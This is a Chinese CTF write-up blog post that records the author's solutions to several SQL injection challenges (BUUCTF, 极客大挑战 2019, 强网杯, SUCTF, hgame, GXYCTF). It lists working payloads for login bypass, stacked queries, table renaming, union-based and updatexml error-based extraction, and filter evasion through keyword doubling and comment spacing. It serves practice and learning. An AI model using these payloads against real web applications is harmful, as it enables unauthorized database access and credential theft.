BUU-SQL注入做题记录

各大题库的SQL注入

[极客大挑战 2019]EasySQL1
[强网杯 2019]随便注1
[SUCTF 2019]EasySQL
[hgame2023]week2 sql
[极客大挑战 2019]LoveSQL
[极客大挑战 2019]BabySQL
[极客大挑战 2019]HardSQL

[极客大挑战 2019]EasySQL1

加个单引号报错,猜测是SELECT username FROM users WHERE user_id = ‘1’ and password =’***’;

payload : 1’or 1 = 1 # 用户名, 密码随便输入

[强网杯 2019]随便注1

GET传参
同样加个单引号发现报错,发现1,2 回显,1+1显示1 的界面,再看看

1’ order by 1#
1’ order by 2#可行有回显
1’ order by 3#回显


共2列,查看回显位

1’union select 1,2,3#
回显return preg_match(“/select|update|delete|drop|insert|where|./i”,$inject); 正则匹配不允许 where select 等字符

尝试绕过

SQl中;代表结束语句,在;后加代码也可以达到union效果,但有区别

0’;show tables;

“words””1919810931114514”
大概率在一串数字的表中

用``框
0’; show columns from words;#
0’; show columns from 1919810931114514;#\

果然发现flag
读取,绕过用handler句柄
0’; handler 1919810931114514 open;handler 1919810931114514 read first;#即可读取
“flag{96da5b3b-e45a-47c1-af2c-7e0374a3e566}”

handler 一行一行输出库内容
handler user open;
handler user read;读出什么输出什么
handler user read first [where username=‘admin’];
handler user read next [where username=‘admin’];

ps :看到有大佬先查words发现就是正常输入1,2查询的地方,于是

1’;rename table words to words2; //先把words表表明换成其他
1’;rename table 1919810931114514 to words;#
1’; alter table words change flag id varchar(100);#
1’; show tables;#
1’; show columns from words;#
更改表名 查询flag 只能说太强了~

[SUCTF 2019]EasySQL1

1有回显,1’无回显 flag回显nonono 不考虑报错注入,他不报错
堆叠看看
1;show databases;#
1;show tables;
回显Array ( [0] => 1 ) Array ( [0] => Flag )直接一个flag 如何读取呢
尝试handler
1;handler Flag open;handler Flag read first;#
回显NONONO ,不会了。

根据 WP 输入非0数字回显,输入字符不显示
则判断里面语句存在||
加上题目说要和flag一样才输出flag
后台语句为:select $post[‘query’]||flag from Flag

剩下的好做了
select * ,1||flag from Flag

flag{b329fdfe-380a-404a-9e92-c788aaf74adb}

Hgame week2 sql

Hgame week2 SQL注入也放到这里

简单测试,数字型注入
可以双写绕过 //当空格 /*//*/
union等可大小写双写绕过

1//**//oRder//**//By//**//1,2,3 直到4无显示,则三列

接下来联合查询 找回显位
1//**//Union//**//selecT//**//1,2,3
0//**//Union//**//selecT//**//1,2,3
发现23位为回显位

查库名字
0//**//Union//**//selecT//**//1,dataBase(),3
库名se4rch 3

0//**//Union//**//selecT//**//1,(seLect//**//groUp_coNcat(taBle_Name)//**//fRom//**//inFOrmatIon_schEma.taBleS//**//whERe//**//taBle_sChema=’se4rch 3’),3
等号被过滤,因此,换用下面的

0//**//uniunionon//**//selselectect//**//1,(selselectect//**//grOup_concAt(taBle_Name)//**//frfromom//**//infoorrmation_scHema.tables//**//whewherere//**//table_schema//**//like//**//“se4rch”),3
表名
5ecret15here,L1st,user1nf0 3
应该是第一个了

0//**//unION//**//sELECT//**//1,(seLECt//**//group_coNcat(column_name)//**//fROm//**//infORmation_schema.columns//**//whERe//**//table_name//**//like//**//“5ecret15here”),3

f14gggg1shere 3

0//**//uniON//**//SELECT//**//1,(SELECT//**//f14gggg1shere//**//frOM//**//5ecret15here),3

hgame{4_M4n_WH0_Kn0ws_We4k-P4ssW0rd_And_SQL!} 3

[极客大挑战 2019]LoveSQL

万能密码登录一下看看,没什么信息


发现密码,加单引号报错,尝试一下单引号闭合

3e7ba0c1b7b1d51e428d845ef626d922’order by 1#
发现到4的时候提示


列数出来了

3e7ba0c1b7b1d51e428d845ef626d922’union select 1,2,database()#
成功但没有回显,发现回显id和passwd
换到用户名去注入看看
找个不存在的用户
-1’union select 1,2,database()#

回显位置为2,3
数据库为geek
-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’geek’#

表名 geekuser,l0ve1ysq1
-1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’geekuser’#

是查的表,分别是 ‘id,username,password’

-1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’l0ve1ysq1’#
发现都是id username passwd

我们查一下password里面看看有没有flag
-1’ union select 1,2,group_concat(password) from geek.l0ve1ysq1#
-1’ union select 1,2,group_concat(password) from geek.geekuser#

在lovesql中

Your password is ‘wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{f98b4bc2-2687-4a5c-a458-362ba696a603}’

flag{f98b4bc2-2687-4a5c-a458-362ba696a603}

[极客大挑战 2019]BabySQL

随便测测 加个单引号再注视下,发现是单引号包裹

试了下发现 or +有被过滤
密码这里不好注入,打算从用户名这里

or by 都被过滤 手搓试试啥被过滤

先查列 3列(好像好多题目都是三列???)

估摸着union select都被过滤 试试先(大小写绕不过)

-1’uniunionon selselectect 1,2,database()#
可以但是没回显,只显示success
-1’uniunionon selselectect 1,database(),3#
-1’uniunionon selselectect database(),2,3#

登录并不显示里面的内容

……实际上是显示内容的,不过我窗口没放大没看到……
回显位为3
数据库还是geek 呢估计是把上面题加个过滤
所以基本一样?

-1’uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema=’geek’#

‘b4bsql,geekuser’

呢肯定再babysql中

-1’ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name=’b4bsql’#

显示id,username,password,老套路了,查passwd
注意下password里面也有’or’

-1’ ununionion selselectect 1,2,group_concat(id,username,passwoorrd) frfromom geek.b4bsql#

Your password is ‘1cl4yi_want_to_play_2077,2sqlsql_injection_is_so_fun,3porndo_you_know_pornhub,4gitgithub_is_different_from_pornhub,5Stopyou_found_flag_so_stop,6badguyi_told_you_to_stop,7hackerhack_by_cl4y,8flagflag{1384027b-803c-406d-b01a-0ba406c4820f}’

cat flag

[极客大挑战 2019]HardSQL

试试hard难度
admin’ admin ‘ 不同
发现空格被过滤 /**/也被过滤 ()可以里面加代码
回显一样没被抓到
get形式 fuzz测试下过滤
确实难
报错注入

{
报错函数updatexml()函数,当第二个参数包含特殊符号时候就会报错,并且将第二个参数内容显示在报错信息中
updatexml(1, 0x7e, 3)报错0x7e 为 ~
因此第二个参数将查询语句和特殊符号拼接就可以
updatexml(1, concat(0x7e,version()), 3) 
ps: updatexml报错内容不能超过32字符
可用limit分页或者substr()截取字符串
concat(obj1,obj2,……)拼接字符串

=号被过滤可以用like来绕过
}

知道了这些应该就容易了

1’or(updatexml(1,concat(1,database()),1))#

数据库名字geek
查找表
1’or(updatexml(1,concat(1,select(table_name)from(information_schema.tables)where(table_schema)=’geek’),1))#
还是有过滤,查看是=

用hgame sql 的方法, like替换等号
1’or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(‘geek’))),1))#

注意数一下括号数量


H4rDsq1

1’or(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like(‘H4rDsq1’))),1))#

显示一行显示不完

1’or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’))),1))#

回显XPATH syntax error: ‘~id,username,password’
在passwd里面

1’or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(geek.H4rDsq1))),1))#

拿到一半flag(xml最多32位)flagflag{4f1c2e6d-e354-4814-91’

1’or(updatexml(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))),1))#
右边flag
~d-e354-4814-913c-4bc7c57e4f12}’
没看全
1’or(updatexml(1,concat(0x7e,(select(right(password,40))from(geek.H4rDsq1))),1))#
得到ag{4f1c2e6d-e354-4814-913c-4bc7’
拼接即可flag{4f1c2e6d-e354-4814-913c-4bc7c57e4f12}

收获很大

[GXYCTF2019]BabySQli

admin’
单引号包裹
POST形式
admin’or 1=1”# 回显dont hack me 有过滤
fuzz测试下

419为过滤字符
什么show where都是可以的


过滤有 () = or 好像没过滤什么太多 然后发现大小写可以绕过

密码地方没法注入,并且#没啥用,登陆不了,我感觉是后台语句压根没验证密码(其实试是先验证username 返回值再进行密码判断),只要输入存在的username就是显示wrong passwd

后台发现hint select * from user where username = ‘$name’
果然

admin’ORDER BY 1;#


三列,估计又是username id passwd

……题目脑洞比较大,不过给了源码……密码md5

{
    知识点 联合注入:当联合查询不存在时,联合查询会构造一个虚拟数据
}

大概率还是name id passwd
试试
1’ union select ‘admin’,2,3#
1’ union select 1,’admin’,3#
回显不同,wrong pass代表name正确, 第二位为name

所以
1’ union select 1,’admin’,’202cb962ac59075b964b07152d234b70’#

password=123
(name不能用admin 用了的话sql就验证admin的正常密码而不是虚构的)

即可登录进去,这个题flag没有再数据库,登录成功就有flag
flag{dc9790ab-4118-4841-9319-3f4c1298d29a}

SQL暂时到此 后续遇见会更新

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值